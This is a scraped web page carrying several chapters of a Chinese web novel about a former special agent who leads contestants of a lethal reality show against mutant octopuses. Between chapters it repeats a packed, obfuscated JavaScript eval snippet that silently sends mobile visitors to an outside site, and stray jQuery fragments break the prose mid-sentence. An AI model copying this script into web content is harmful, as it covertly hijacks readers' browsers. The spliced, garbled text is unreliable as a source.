;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869617|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，青黛确定底层除了死人骨头，一无所有。 “上去看看。”青黛看着莫之臻往上指了指。 “二层也什么都没有啊。”莫之臻回忆道。 二层是个阳台似的空间，中间就是下来的楼梯，十分通透，连个能藏东西的地方都没有。 “不，我说三层。”青黛道。 三层是悬空结构，有个梯子能上去，上面挂着钟楼的大钟。 莫之臻也算指哪打哪，连问都不问，就准备往上爬，但被青黛拦住了。 “地方太小，我自己上去就行。” 青黛回到二层，顺着梯子爬上三层，围着大钟转了一圈，仔细看了看，笑了。她抓起横挂着的撞钟用的巨型钟杵，往后猛拉，随之借着惯性，往前一推。 “哐——哐——” 大钟发出了浑厚有力，洪亮绵长的钟声。 所有人都被声音吸引，抬头看向大钟——他们看到的，不仅仅是随着惯性摇晃的钟体，还有随着大钟摆动而纷纷掉落的车票。 一张张从天而降，雪花般漫天飞舞着。 大家都看呆了，明明是杀手秀中一个决定生死的环节，此时此刻却美得像一幅画。 此时莫之臻想到了青黛之前问他的那句话“地下城的人最想看到地表的什么？” “原来是钟楼飞雪啊。”莫之臻感慨，这个节目导演还挺有审美追求和诗意，“确实挺好看。” 随着车票的悉数掉落，青黛也从三层下来了。 “你怎么知道钟上面有车票？”莫之臻好奇地问她道。 “钟被人擦干净了。必然是藏东西时留了痕迹，然后为了掩饰，只能把整个钟擦了擦。”青黛失笑道。 节目组的人毕竟是搞娱乐的，就算有些反侦察方面的意识，甚至请了些业内人士来指导，但人多手杂，不可能保证每个人都专业，所以，在这些细节上，根本逃不过顶级特工青黛的眼睛。 车票量大管饱，足够在场的人一人一张，所以并没引起哄抢。大家拿着自己的车票，全都一脸欣喜。 但这个车票的数量，反而引起了巫马莎的怀疑，小姑娘捏着自己的车票，低声跟青黛嘀咕：“车票会不会有点太多了，不符合这个节目组的调性啊。” “这节目组什么调性？”青黛好奇道。 “唯恐天下不乱。”巫马莎撇了撇嘴，“这节目制作公司，没人性的，最喜欢挑起人与人之间的厮杀，越暴露人性的阴暗面越好，他们制作的好几个真人秀，都是那个基调。我之前猜测节目组会放出来70张左右的车票，让所有的人抢。再让拿到车票的70个人抢那50个座位。反正不可能是每个人都有票。” 小姑娘分析得头头是道。 “说不定，他们也想善良那么一下。”青黛冲着巫马莎挤了挤眼睛。 巫马莎难以置信地挑了挑眉毛。 此时，天色已经开始发暗了，拿到车票的选手陆续顺着绳子和水管离开钟楼。 钟声渐停后，一个跟钟声余音相互缠绕的声音传了过来，震响了大家的鼓膜。 “你们听见了吗？”巫马莎紧张起来，“有奇怪的声音。” “确实，但听不出是从哪传来的声音。”莫之臻也竖起了耳朵。 青黛趴在地上，用耳朵贴地听了听，站起身，对莫之臻和巫马莎说道：“快！下去底层！” “为什么？”巫马莎一头雾水，“别的选手都走了，现在所有人都有车票，我们再不走，就赶不到前50了。” “它已经醒了。”青黛说，“谁也走不了的。” “谁醒了？”巫马莎问。 “怪鱼害怕的东西。”青黛说。 8. 废土逃杀8 “但是，为什么要下去底层啊？”巫马莎觉得这不是个好主意，“万一有什么怪东西进来，咱们不就是瓮中之鳖了？” “你不是全盘相信她吗？”莫之臻调侃道。 “我对我姐确实是非常信任，但信任和什么都信不是一回事。”巫马莎抱着肘，一脸少年老成。 “走。”青黛拍了拍小丫头的肩膀。 巫马莎立刻变了态度，十分顺从地跟着青黛下去了。这场景看得莫之臻直乐。 他们三个顺着楼梯快速下到了底层，莫之臻断后，他下来时正好看到青黛搬开了几具骸骨，并用脚扫开了原本位置上的尘土和垃圾。 莫之臻用头灯照射着仔细一看，果然另有乾坤，那里不是普通的地面，而是一块两米见方的木板，上面潦草地盖着一些土和垃圾。在光线全靠头灯的底层，不仔细看根本看不见。 木板上有个圆洞，手指可以伸进去，青黛把手指伸进洞里，用力一拽，木板不知是卡死了，还是本身太沉，竟然纹丝未动。 莫之臻赶紧走上前去，企图帮她把木板拽起来。 但失败了。 那小洞根本插不进两根手指，就算有人帮忙，也没有多余的着力点。 青黛在旁边尸骨身上，拆下一小条棍状的骨头，又抽出那尸首的鞋带，用鞋带绑着骨头，做成一个简易的卡子，伸进了小洞里。 有了鞋带，施力明显容易了很多，趁着青黛把木板提起的瞬间，莫之臻一下拉住边缘，俩人合力把木板完全拉了起来。 一时间，尘土飞扬，一股阴湿之气从下面冲面而上。 巫马莎用头灯一照，震惊道：“你怎么知道这里有密室？” 木板下赫然一条下行的通道，砌着规矩的水泥台阶，还算宽敞。 “因为我第一次下来时，这个洞口是敞开的，是我盖上了地道门，撒了土和垃圾做掩饰，那具骷髅也是我摆在那扰乱视听的。”青黛解释道。 经她这么一说，莫之臻猛然想起自己第一次下底层时，确实看到青黛正在下面忙乎着什么，但由于当时光线太过昏暗，他没看清。 “为什么？”巫马莎又开始了提问环节。 “因为当时不方便展示，最好先遮住。”青黛的回答不明不白的。 青黛顺着地道的楼梯往下走去，巫马莎和莫之臻也跟了下去，下面比他们想象地要宽敞很多，像个大仓库，能容纳百十来号人。 “不方便展示什么？”巫马莎问。 莫之臻用头灯照着地下室中间堆放的物品，跟巫马莎说道：“武器。” 巫马莎有点不敢相信，她直接蹦下楼梯，顺着莫之臻头灯的光线，冲到了前面，睁大眼睛看着地下室的中心——装满武器的箱子足足有十几个，还有不少武器散落在箱子附近。这里也躺着一些白骨，有些明显抱着武器。 “你之前就知道这里有武器？这里为什么有武器？为什么之前要瞒着选手们？为什么现在又不瞒着了？……”巫马莎脑子里有一群为什么，争先恐后着往外冒着。 看到青黛正忙着点查装备，莫之臻主动帮她跟巫马莎解释道：“她之前隐瞒，应该是不希望选手们拥有太高的杀伤力。让所有人都赤手空拳，可以最大程度上避免有人滥杀无辜。但现在看样子有更难搞的怪物要对付，所以得让大家武装起来，才能让他们自卫和自救。至于为什么这里有武器，只有考古的人才能回答你了。” 青黛回头冲着莫之臻眨了眨眼：“可以啊，这么快就不需要我解释了？” “我为什么还需要你们解释啊？”巫马莎一脸沮丧。 “你年纪还小呢。”青黛笑了，安慰她道，“你要是这个岁数就不需要解释，我会怕你的。” “我也没比你小很多岁啊？怎么各方面的知识储备和意识都差这么多？难怪我妈说我就是个废物，非要让我来这里见识见识人外有人。”小姑娘很是沮丧，有种学渣看到学霸的无力感。 “我比你大十几岁呢。”青黛尝试安慰小姑娘，“我15岁的时候，离家远点都会哭呢。你已经很厉害了。” “十几岁？不可能吧？你也就22、3岁吧？”巫马莎觉得难以置信。 “我说错了，我比你大8岁。”青黛发现自己暴露了真实年龄，赶紧改口。 “8岁也不多啊，我什么时候才能变成你这样？”巫马莎觉得青黛各方面都是顶尖的，能跟她媲美的只有自己的亲妈。 “其实，开窍就是一瞬间的事，我也是去年才开窍的，真的，就咔嗒一下，之前我也是乱七八糟的。”青黛开始胡编乱造假鸡汤，因为她不能跟小姑娘说自己穿越前当兵4年，当特工8年。 莫之臻听到这鸡汤明显在憋笑，但他没让自己抽动的嘴角被巫马莎看见。 此时，青黛翻出一桶汽油，她把汽油灌进之前找到的几盏汽灯里，点燃了。地下室迅速被照亮了，虽然做不到明亮，但绝对够用了。 青黛丢给巫马莎一把德国制全自动微冲。这是她专门给她挑选的，这种枪后坐力小，故障率低，能在关键时刻救这个孩子的命。 巫马莎摆弄了半天也摆弄不明白：“这玩意儿怎么用啊？没有能量模块吗？” 巫马莎一句话，让青黛恍然想了起来，这帮人不会用她那个时代的武器。 同时青黛意识到了，这满地的死人骨，应该也是因为不会使用这些武器，导致的抵抗失败。那就是说，武器跟她是同时代的，死人是核爆后时代的。 “等下我教你怎么用。”青黛对巫马莎说道，手里继续翻找着自己想要的武器。 “你为什么会用？”巫马莎问道，“这东西看起来有一百多岁了。” 基于高能发射原理研究出的能量型武器早已经普及近百年了，眼前这些传统的火药发射机制的老式武器大部分人都没见过。 巫马莎从入行到精通，接触的都是能量型武器，这些东西，她只在武器史之类的书上见过。 “我的爱好是收藏古董武器。”青黛又开始胡说八道。 她话音未落，莫之臻就在旁边给一把AK上了膛，那清脆的声音让青黛和巫马莎同时看了过去，巫马莎更加诧异了：“他怎么也会用古代枪？全世界就我不会吗？” “我跟青黛的爱好一样。”莫之臻尴尬地笑了笑。 他的话让巫马莎满脸不服，同时让青黛若有所思。 看到气氛不对，莫之臻赶紧换了个话题：“那些选手们，叫他们回来吗？” 青黛点了点头，声音很严肃：“如果我猜得不错，这将是一场恶战，单打独斗是活不下去的。” “我现在想办法去通知他们回来。”莫之臻领了命，就往上跑去。 还没等到莫之臻召唤，此时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869618|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经有一些选手开始往回爬了——他们看到青黛没下钟楼，就觉得不对，等了等依然没见到人下来，就准备回去看看——他们似乎已经认定了，跟着青黛能活命，跟着青黛最保险。 “先别上来，去把所有人都叫回来！”莫之臻站在钟楼二层对着往上攀爬和正在排队准备攀爬的选手们喊道。 那些选手听罢，又顺着绳子溜了下去，大家开始到处喊人。边喊，边抱怨节目组不给他们弄一个内部通信对讲设备。 没过多长时间，大部分选手都回来了。 “我的老天啊。”一个被召唤回来的选手刚进入地下室，看着眼前的武器库，惊叹道，他上前两步，从武器箱里拿出一把狙击枪，前后左右地看，最后一脸震撼道，“古董啊！” “大家都先挑选一下自己看着顺眼的武器，等人到齐了，我一起教你们怎么使用。”青黛对着大家交代道。 说罢，她把武器按照规格依次排在武器箱盖上面，供大家方便挑选。 这场景跟菜市场挑菜似的，看起来很是有趣。 “你为什么会用这么古老的武器？”另一个人拿起一把□□，比画了一下，满脸问号，“这些东西我只在博物馆见过。” “她喜欢收藏古董武器。”巫马莎成了青黛的代言人。 此时人已经来得差不多了，大家也都选好了自己看着顺眼的武器，围成一圈，开始等待青黛讲解每种“古”武器的用法。 青黛依次拿起每个人的武器，开始教学，一个一个讲过去，她讲解时地下室里鸦雀无声——大家不但要学习自己手中武器的使用方法，也要学习别人武器的使用，因为难保自己的武器掉落丢失，或者捡到别人的武器。 还好大家都是杀手，对老式枪械的学习和上手都算快。这算是个技术降级教学，而不是扫盲班，教起来不算费劲。 青黛讲解时，莫之臻在旁边给她当助教。俩人配合很默契，默契到青黛觉得有点离谱的程度。 “每次打完都要更换弹匣吗？效率好低啊。”有人抱怨道。 “确实，如果实在嫌麻烦，你可以选择不用。”青黛算是发现了，巨婴不分时代，你教他活命，他嫌你麻烦。 “我又没说不用。”那人嘴里嘀嘀咕咕的，但手中的枪攥得极紧，生怕被人抢走似的。 “没话可以不说。屁都能憋住，嘴憋不住啊？”巫马莎翻了那人一个白眼。 她的话引起了大家对那人的哄笑。 此时，天已经黑透了。 废土世界是看不到月亮的，夜色墨一样漆黑，还带着浓重的颗粒感，深邃黏稠得让人窒息。 一个无比低沉的声音传来，由远及近，难以描述，仿佛是某种古老而邪恶的呓语回荡在无尽的深渊。 随着那可怖的声音，整个古城震颤起来，街道活了般开始翻涌。 所有人都下意识屏住了呼吸，仿佛吐气那样微弱的声响都会导致灭顶之灾。 就在所有人神经高度绷紧的时刻，机械音忽然响起，那声音在万籁俱寂中显得尤为尖利：“叮叮叮——此次死亡人数6人，总死亡人数16人，剩余人数92人，清点播报完毕。” 大家愣住了，这个突如其来的死亡播报，让所有人都陷入了更大的恐惧—— 城市在震动，黑暗在低语，没人知道发生了什么，但已经有人死了。 9. 废土逃杀9 与此同时，杀手秀的制作公司里，总导演汪泰初愤怒地一脚踹开导播室的门，冲了进去，对着现场导演吼道：“你是不是不想干了？搞什么鬼？怎么忽然有人死了？画面呢？前因后果呢？” “不是我啊汪导，我也不知道怎么回事。我也是听到播报才知道有选手死了的。”现场导演比总导演还混乱，他也被突如其来的死亡播报搞懵了。 死亡播报是接在选手的生命体征探测器上的，程序都是设定好的，人死了自动播报。 “怎么死的？死的是谁？是没找到林北城那几个蠢货吗？”汪泰初继续连环问道。 “不是，走丢的人都还活着，总共是4个，定位都离林北城越来越远。”负责选手的工作人员查了那几个人摄像头的实时画面，生命体征数值和定位后汇报道。 “毫无价值的废物，一个有用镜头都创造不了。早点死了算了。”汪泰初嫌弃地骂了一句。 「制造杀手108」的播出主要分两块，公共画面和选手直播画面。 公共画面是经过导播调整的，有重点有叙事的有所选择，免费的；选手直播画面来自选手佩戴的摄像头，无剪辑无屏蔽无时无刻，付费的。 大部分观众会先观看公共画面，如果发现了特别喜欢的选手，再单独购买那个选手的直播。 一般情况下，哪个选手的直播卖得多，就说明其人气高，节目组就会增加这个选手在公共画面中的镜头，制作这个选手的周边，还会开各种关于这个选手的盘口——比如，第几轮死亡，怎么死，跟谁一起死，杀了谁，睡了谁…… 这4个走丢的人之所以被汪泰初这么嫌弃，就是因为没观众会购买他们的直播——没人会吃饱了撑的花钱看地表的荒芜景象，自然也不会有关于他们的收入。 “死的确定都是在城里的选手，死亡前的画面……您看一下。”工作人员调出画面。 汪泰初转头看去——那6个人都是在街上奔跑，然后一瞬间就黑屏了。 “调慢。”汪泰初命令道。 即便工作人员把速度调慢到一帧一帧，他们依然看不出任何端倪。 汪泰初用手指搓了搓太阳穴，思考了片刻，对飞手下令道：“拉升无人机，开夜视！这个机位暂时别直播。” 无人机快速被拉升到半空，实时传回的画面让节目组所有人目瞪口呆—— 一只无比巨大的变异章鱼，出现在节目的镜头里，它那山岳般大到恐怖的身躯不断蜿蜒前进着，无数粗壮且布满诡异纹路的触手在废弃的建筑物间肆意穿梭，触手每一次的移动，都会卷碎一些建筑，将石块和残骸卷向空中。 大地因它的前进而剧烈地颤抖，地面上的碎石和灰尘被震得不断跳动。 整整半分钟，导播室里鸦雀无声，所有人一动不动，注视着屏幕，几乎忘了呼吸。 就连汪泰初这种动不动就去地表找刺激做节目，阅变异生物无数的人，也完全被震撼到了。他原本就凸起的眼珠子，此时简直都要被瞪出来了，抓着现场导演问道：“你们去勘景的时候看到这个东西了吗？” “没有，看到了怎么可能不跟您汇报？我们去的时候那城里肯定没有这个怪物，只有门口一群食人鱼而已。我都写在报告里了。但凡有这个东西，我肯定没胆子去钟楼藏车票啊。”现场导演后怕得快哭了。 “现在怎么办？切断直播吗？”导播怯生生问道。 “你是脑残吗？但凡有一点智商也问不出这种问题吧？这是以一刀不切著称的节目，切了，口碑就毁了！”汪泰初吼道。 导播表面频频附和，内心则是奋力吐槽道：我们这种杀人为乐的节目，哪来的口碑？搞笑。 汪泰初的情绪向来不是很稳定，这世人皆知，会随时随地歇斯底里那种。所有跟他合作过的人，都会多少产生心理问题。公司十个内部投诉，九个是针对他的，大多是因为他打骂手下，侮辱员工。但公司又没办法处理他，因为他是暗黑系节目收视率的神，之前制作的节目，播一个火一个，毫不夸张地说，整个制作公司都靠他一个人养活的。 “那这个事故该怎么处理？”现场导演颤声，他的权限和智慧确实不足以用来处理这种突发状况。 汪泰初转头看着现场导演，忽然笑了起来：“蠢货！这不是事故，而是综艺之神对我们的眷顾！” “万一选手一次性都死了……” “死就死了，反正他们本来就是要死的。”汪泰初眼睛里的火焰不断跳跃着，“死光了，就把这期内容设定成特辑，再找108个替补炮灰去祭奠和挑战先辈们的死亡之地。” 现场导演听得连连点头，然后问道：“那，需要通知现场的选手们这个状况吗？他们似乎什么都不知道。” “你妈是生下你后把胎盘养大了吗？”汪泰初点着现场导演脑门骂道，“做节目就是要做最出其不意的状态，捕捉最真实的反应。你告诉他们，我们还拍个屁真人秀，去拍脑残剧好了。” “我去安排后补选手。”现场导演撒腿就跑，一方面是不想继续挨骂了，另一方面是因为他料定这些人必死。 汪泰初双眼死死盯着屏幕，脑子飞速旋转半刻后，对导播下令道：“先不要让巨型章鱼出现，我要让观众和选手同时看到这个巨大的惊喜。切那个女死囚的头盔镜头，不！切女死囚那个舔狗的头盔镜头。画面要搞得温馨暧昧点，为了之后的末日降临做准备。” 导播当然知道汪泰初说的“舔狗”是谁，迅速把镜头切到了莫之臻的头盔上。 莫之臻对青黛的不离不弃，让节目组狠狠收割了一波女性观众，再加上青黛近似乎神一样的操作，让节目的收视率和直播购买率飙升到断层第一。 但汪泰初不但不感激他们，还各种开他们俩的颜色玩笑，时不时出言侮辱，并且一直嘲笑莫之臻是没见过女人的舔狗。 这老登对任何人都没有尊重可言，尤其是对选手——这些靠卖命给他赚钱的人在他眼里全是垃圾，是低等动物，只配供人玩乐，命如草芥，死不足惜。 汪泰初继续下达着命令：“投流量，强制推送客户端那种。快快快！还有，把变异生物专家找来，我们需要权威背书。” 汪泰初说罢，看向屏幕里的青黛，阴郁的脸上浮现出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869619|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层邪笑。 青黛依然在给选手们讲解那些“古”枪械的用法。 此时，地下室开始震颤，从顶棚掉落的灰尘和碎石，不断砸在大家的头盔上。大家眼神都很惊恐。 “到这会儿了，应该不会再有选手下来了，快，把地下室的门钉死。”青黛下令道。 “用什么钉？” 青黛说：“把武器箱的钉子和木条拆下来。” 大家七手八脚开始执行，很快的，地下室那个木板就被从里面钉死了。 “外面到底是什么？”有人颤声问道。 “我也不知道，但肯定不是什么善茬。”青黛抬头冲着那个未谋面的“敌人”的方向看了一眼。 “我们都会死吗？”有个姑娘很是悲观地问道。 “不知道，看命吧。”青黛说道。 “你为什么不害怕？”巫马莎拉了拉青黛的衣角，问道。 “你怎么知道我不怕？”青黛反问她。 “直觉。我的直觉很准的。” “可能我不怕死吧。”青黛笑了笑。 她真的不怕死，多年的特工从业经历，让她早就生死看淡了，再加上她的两次“死里逃生”经历——穿越前执行任务时被炸死，穿越后又差点被执行死刑——让她彻底对死亡这件事没什么感觉了。 教完大家武器的使用，青黛开始排兵布阵，比如，如何配合冲出重围，如何诱敌深入，如何一窝端。 “我们不是守在这里就行了吗？”有人问道，“为什么要突围啊？” “他们当时也是这么想的。”青黛指了指那些白骨说道。 看着这些形态各异的“前辈”，大家都沉默了。 “咔嚓——”一声轻轻的碎裂声划破了大家的沉默。 紧张起来的众人顺着声音的源头看去：几条触手蠕动着从地道的盖板的缝隙往下挤来，被它挤碎的木板渣，纷纷掉落在地。 “什么东西？”巫马莎小声问道。 “某种软体动物吧。”莫之臻猜测道。 “我讨厌软体动物！”巫马莎说。 确实是软体动物，说时迟那时快，一条展开大小20厘米左右的章鱼，慢慢把自己从那个缝隙里塞了进来——它可以把自己压缩得极扁平，像黏稠的液体似的，就那么“流”了进来。 章鱼爬了两步后开始变色，越来越接近地下室墙壁的深灰色。若不是它吸盘不断分泌出的黏液在墙上留下明显的痕迹，大家都快几乎看不到它的存在了。 “我也讨厌软体动物。”青黛一脸嫌弃，抬头飙出一把飞刀，直直扎进了章鱼的脑袋，把那章鱼钉死在了墙上。 “就这？死了？” “我还以为至少是个鱼怪级别的玩意儿呢。搞得这么吓人倒怪的。” 之前还如临大敌的大家看到章鱼死得如此简单，都松了口气。有几个人甚至笑了起来。 可还没等他们笑完，从里面钉死的木板从开始的颤动，变成剧烈的震动，顺着木板不断变大的缝隙，数不清的章鱼触手“流”了进来。 看得人汗毛倒立，头皮发麻。 10. 废土逃杀10 “快，堵住所有缝隙。”青黛下令道。 大家开始遍寻东西去塞缝隙，还好地下室有大量的麻袋之类的东西，这下刚好派上用场。 青黛觉得自己犯了个认知上的错误——她只是让人把地道门从里面封死，并用木板加固，但完全没意识到怪兽有近似乎“液态”这个形态。 因为在她的世界，海鲜不会逛街，动物都是固态。 “已经挤进来的那些触手怎么处理？” “割断。”青黛说道。 大家速度都很快，手起刀落，现场顿时变得有点像日料店的砧板，唯一不同的是，那些“鱼生”鲜活到会跳舞。 青黛暗暗发誓：自己这辈子都不会再吃日料了。 那些被割断触手的章鱼，果然都缩了回去，众人趁机用麻袋去塞住缝隙，再用木板把缝隙钉死。 一番折腾下来，地下室又暂时恢复了宁静，但没人知道这宁静能持续多久。 莫之臻捡了根木条，把拉了两下已经停止扭动的章鱼断肢，观察了一下，起身对大家交代道：“大家尽量不要直接接触那些章鱼，切记远离它们的吸盘，吸盘中间有细小的牙齿，很锋利，万一把防护服搞破了，就死定了。” “章鱼而已，那么小的牙齿，再锋利能吃人啊？”有人不屑道。 青黛被这人这话一提醒，后背一凉，连忙蹲在一具“前辈”面前，仔细观察起来。 “你怀疑……”莫之臻也凑了过去。 “对。”青黛指了指那些干净到离谱的骨头，“如果是章鱼吃的，就一切都说得通了，它们用吸盘吸附在皮肤表面，再用那些细小的牙啃食。” “或许，它们分泌的黏液里还会有帮助消化的成分，也就是腐蚀性成分。”莫之臻分析道。 “不是没可能。”青黛说。 “你俩在说什么悄悄话？章鱼怪又开始了！”巫马莎的话唤回了二人的注意力。 果然，木板再次剧烈震动起来，无论是频率还是力道，都明显大于之前。看样子，这次来的不再是小东西，而是大家伙。 那些千疮百孔的陈年木板，挡一下小东西们也就是勉勉强强，对于绝对力量，根本毫无抵抗之力。 瞬间，一条成人大腿粗细的触手直接把木板穿了一个洞，探了进来。 在海洋里，没有重力对骨骼和体重的限制，生物想怎么长，长多大，全看个鱼能力。即便在核爆前世界，有些海洋生物的体型也大得离谱，不说那些夸张的鲸类，一只有记载的巨型章鱼标本的体重达272公斤，触手长度达9.1米。 但在陆地上看到这么大的海洋生物活动自如，青黛还是觉得很难适应。 “它这是来报仇来的吧？”一个脸色发白的卷毛男的尖叫，打破了青黛的思考，他冲着青黛质问道，“你这女人干吗手贱杀了它的孩子？你不杀小章鱼，它也许根本不会理我们。” 总有人想给无法抗拒的灾难找个背锅的，最好是个女人，这样大家就理所应当认为「果然是女人搞砸了一切」，而不是「我脑子有病才来参加这个节目」。 青黛冷笑一声，斜眼看着卷毛男道：“你可以跪着告诉它，这事与你无关，让它留你一条狗命。” 她的话明显刺激到了那男人脆弱的自尊心，他气急败坏上前一步，掏出刚才发的武器匕首，冲着青黛的后心口而去。 这卷毛是典型的超雄人格，认知低智力差，冲动易怒。他根本没有足够的脑子去思考杀了青黛会招致何种恶果，他眼里只有无比短视的动物性的基本判断「这个女人惹到我了，我要给她点颜色看看」。 就在卷毛男几乎到了青黛身边时，还没等青黛出手，他就被莫之臻一脚踹翻在地，并用脚踩着他的脑袋说道：“暂且不说这些怪物有没有亲缘意识。之前她救你们的时候，倒没见你有这么大的意见。” 莫之臻的语言系统过于文雅了，跟暴力果决的动作一点也不搭，画面看起来跟配错音了似的。 “你跟他讲什么道理啊。”巫马莎直接用枪口怼在了卷毛男太阳穴上，“再多说一句废话，你就死。”自从有了武器，感觉小姑娘底气都比之前足了不少。 那男人果然安静了下来，甚至呈现出一种低眉顺眼的狗状。动物性过强的人类就是如此，他们没有感恩之心，只跪服于强权。 班宁担心这人添乱，直接用绳子把他捆了，不给他发疯的机会。 人刚被捆好时，那章鱼的第二根触手也伸了进来。 青黛见状快速退到了子弹箱旁边，把机枪架好，对准地下室的进口方向。 所有人都自觉地按照之前的排布，开始准备迎接战斗。 那章鱼触手在墙壁上摸索着，找到一个可以攀住的凸起后，勾住，猛一收缩，地下室进口的木板碎了。 它进来了，还带来了一群同伴。 这些章鱼最小的50公分，最大接近3米，他们相互卷着，变着颜色，潮水般黏腻地涌进地下室。 “哒哒哒哒……”青黛皱着眉打响了第一枪。 战斗开始了，地下室顿时硝烟弥漫，一片火光四射。 青黛专门对着章鱼脑袋下手，而巫马莎似乎格外喜欢射击章鱼的眼睛。 “万一它们跟鱼怪一样，没有视力呢？眼睛没了也没什么影响。”莫之臻比较认可青黛的打法，也专打脑袋。 “你是不是傻？打到眼睛也就意味着爆了头啊！它们的眼睛太丑了，我看着恶心死了。”巫马莎枪法如神，说话间丝毫不耽误射击。 一组换弹匣的时机，二组快速补位，二组打完了子弹，三组补位，三组换弹匣，一组补位…… 章鱼来一批，被选手们打死一批，死章鱼越堆越高，眼看就要把出口堵死了。 “数量远超预计，这里不能守了，撤退吧。”青黛喊道。 “这怎么撤啊？撤去哪啊？”大家懵了。 “外面！” “冲出去那不叫撤退，叫跟它们正面硬刚好吧。”有选手提出了质疑。 青黛没再回答问题，而是顺着出口，往底层扔了一个照明弹。 瞬间恍如白昼。 章鱼奇迹般地停止了动作，像标本般僵硬。 “它们怕光，这就是为什么入夜后，它们忽然成群结队出现的原因。白天都躲着光呢。”青黛解释道。 “怎么不早点用这招？”有人质问道。 “早点时，我并不知道它们怕光。”青黛耸了耸肩。 青黛刚才发现，每当子弹射出发出光芒时，那些章鱼总会被定格一下似的，她观察了几轮，才得出了这个结论。 “敌方的弱点都是从战斗中得知的，除非你有一个精良的技术小组给你做支持和分析，可显然，我们没人有。”莫之臻说道。 “你跟他解释个屁！是说废话的时候吗？”巫马莎又直白地表达了自己的不爽，对着那个质疑者说，“你如果不满我姐的指挥，就滚！” 此时，照明弹燃烧殆尽，章鱼又开始继续进攻。 青黛又扔了一个照明弹出去，“哎呀吵个屁！赶紧趁机撤退！”说罢她用最快速度，开始疯狂往麻袋里装尽量多的照明弹。 她把装了一大半照明弹的袋子丢给莫之臻：“你带着巫马莎用照明弹出去开路，把人都带出去。我断后。” “去哪？”莫之臻问。 “去二楼。让大家保持安静，别引来更多章鱼。”青黛交代道。 第二枚照明弹烧尽时，有三分之一的人已经冲出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869620|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了地下室，紧接着是第三枚…… 没剩几个人时，班宁忽然蹿到了青黛身边，指着被捆着的卷毛男问：“他怎么办？” “求求你，放开我，我不想死在这。”卷毛男涕泪满面地乞求道，“之前是我不识好歹，我知道错了，您大人不记小人过，放过我吧。” 青黛懒得搭理他，冲班宁使了个眼色。班宁点了点头，拿出匕首，割断了捆着男人的绳子，然后按照指挥撤退了。 卷毛男被松开后，缩到了角落，眼见大家都在忙碌，他的脸上忽然浮现出一股得逞的奸笑，捡起一把刀，再次冲着青黛的后背扎去：“我这人记仇！受死吧你！” 青黛听到后一脸不耐，转身直接把卷毛手里的刀子转了个方向，顺滑地送进了他自己的腹部，血液瞬间从卷毛男的防护服破口渗了出来。 那伤口并不致命，致命的是青黛接下来的动作——她面无表情地顺势一推，把冒着血的男人送到了扭曲翻滚的章鱼群中。 章鱼们沸水般滚动沸腾起来。 青黛微微一笑：“我这人不记仇，因为当场就报了。” 防护服的破口很小，再加上章鱼们不断鱼贯而入，竟然没让什么有毒空气进去，卷毛男没被液化，依然活蹦乱跳着，只是惊恐到了极致。 接下来，青黛明白了那些“前辈们”是如何成为一具具连肉渣都不剩的白骨的——跟她猜的差不多，章鱼用吸盘吸住皮肉，然后释放消化液，把皮肉溶解后吮吸入腹。 几乎就是活吃。 想到活吃章鱼的韩国人，青黛忽然觉得，食物链似乎循环了起来呢。不晓得这卷毛男有没有韩国血统呢？ 卷毛男杀猪般的嚎叫声响彻地下室，疼痛是一方面，但更多的是看着自己一点一点被吃掉的巨大恐惧。 另一边的演播室里，汪泰初激动得几乎蹦了起来，对着导播喊道：“给卷毛特写！尤其是进食细节还有卷毛的表情，然后给女死囚表情的特写，再切回卷毛的残肢。” 面对着如此血腥恐怖的画面，弹幕热闹了起来—— 【卧槽！年度最佳画面！】 【刚才青黛指挥撤退那场才是最佳。】 【青黛的做法会不会太残忍了？把活人喂章鱼了，有点可怕啊。】 【那男人只是想杀她，竟然被她反杀了，真的好残忍！（阴阳怪气）】 【有仇必报不圣母不白莲的青黛简直帅翻了好吗！这才是女人该看的东西。】 【都是同赛，可以以德报怨啊。说不定那人就改过自新了。】 【圣母滚去看儿童频道，别来沾边杀手秀。】 …… “叮叮叮——此次死亡人数1人，总死亡人数17人，剩余人数91人，清点播报完毕。” 